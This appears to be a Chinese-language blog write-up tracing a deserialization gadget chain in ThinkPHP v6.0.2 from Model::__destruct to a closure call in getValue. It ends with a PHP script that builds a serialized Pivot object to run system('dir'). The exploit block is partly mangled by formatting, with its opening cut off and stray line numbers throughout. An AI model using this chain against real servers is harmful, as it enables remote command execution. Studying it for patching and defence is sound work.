Thinkphpv6.0.2反序列化链

Thinkphpv6.0.2反序列化链

首先我们把__destruct()作为开头,全局搜索__destruct(),发现在think\Model.php里的__destruct()可以使用

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

这里我们需要$this->lazySave为true,然后看向save,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;

return true;
}

我们需要到达

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

所以我们需要经过一个if,此时需要看向isEmpty()和trigger()

1
2
3
4
public function isEmpty(): bool
{
return empty($this->data);
}
1
2
3
4
5
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

所以如果我们需要绕过第一个if的话,需要$this->data为空,而$this->withEvent为false,然后我们绕过第一个if,此时我们看向updateData()和insertData()两个函数,发现updateData()函数有可利用点,所以此时我们需要$this->exists为true,然后我们看向updateData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();

发现可利用点在checkAllowFields()函数,但是要到达这个函数,需要经过两个if,但是由于前面trigger()为true和$data不为空,所以可以直接到checkAllowFields()函数,我们看向checkAllowFields()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

此时我们发现利用点在$this->db(),所以我们需要$this->filed为空且this->schema为空,但是题目就是这两个为空,所以不用管,所以我们看向$this->db()

1
2
3
4
5
6
7
8
9
10
11
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

我们可以看到有字符串拼接,所以我们可以利用来触发toString(),此时我们可以构造$this->suffix为一个类,我们全局搜索__toString(),发现think\model\concern\Conversion.php里的__toString()可以利用

1
2
3
4
public function __toString()
{
return $this->toJson();
}

然后看向toJson(),

1
2
3
4
5
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

然后看向toArray(),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public function toArray(): array
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}

return $item;
}

此时我们可以看向toArray()函数的这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

此时我们可以利用这里
``
$item[$key] = $this->getAttr($key);

1
然后看向getAttr()函数
public function getAttr(string $name)
{
    try {
        $relation = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}
1
我们此时可以利用getValue()函数,而此时$name为$this->data[$key]中的$key,而$value为

$value = $this->getData($name);

1
所以我们看向getData()函数
public function getData(string $name = null)
{
    if (is_null($name)) {
        return $this->data;
    }

    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
    } elseif (array_key_exists($fieldName, $this->relation)) {
        return $this->relation[$fieldName];
    }

    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
1
这个函数会返回$this->data[$key],因此$value为$this->data[$key],然后看向getValue()函数
protected function getValue(string $name, $value, $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        } else {
            $closure = $this->withAttr[$fieldName];
            $value   = $closure($value, $this->data);
        }
1
发现我们可以动态函数来执行命令
            $closure = $this->withAttr[$fieldName];
            $value   = $closure($value, $this->data);
1
此时只要构造

$this->data=[‘b’=>’dir’];
$this->withAttr[‘b’=>’system’];

1
2
3
就可以了

所以根据上面构造exp
force=true; $this->lazySave=true; $this->exists=true; $this->suffix=$c; } } namespace think\model\concern; trait ModelEvent { protected $withEvent=false; } trait Attribute { private $data=['b'=>'dir']; private $withAttr=['b'=>'system']; } trait Conversion{ protected $visible = ['a' => 'b']; } namespace think\model; use think\Model; class Pivot extends Model { } $a=new Pivot(); $b=new Pivot($a); echo urlencode(serialize($b)); ?>
1
2

注意:由于Conversion使用trait,所以不可以实例化,所以要用继承这个类的类Model,但是Model是接口,所以也不可以实例化,所以我们需要找继承Model类的Pivot()类,但是由于Pivot类调用了两次,所以用这个方法解决

abstract class Model
{
use model\concern\ModelEvent;
use model\concern\Attribute;
use model\concern\ModelEvent;

private $lazySave;
private $force;
protected $suffix;
private $exists;
public function __construct($c=''){
    $this->force=true;
    $this->lazySave=true;
    $this->exists=true;
    $this->suffix=$c;
}

}

$a=new Pivot();
$b=new Pivot($a);

```

参考文章:[https://blog.csdn.net/qq_42181428/article/details/105777872]

[https://www.freesion.com/article/33321065865/]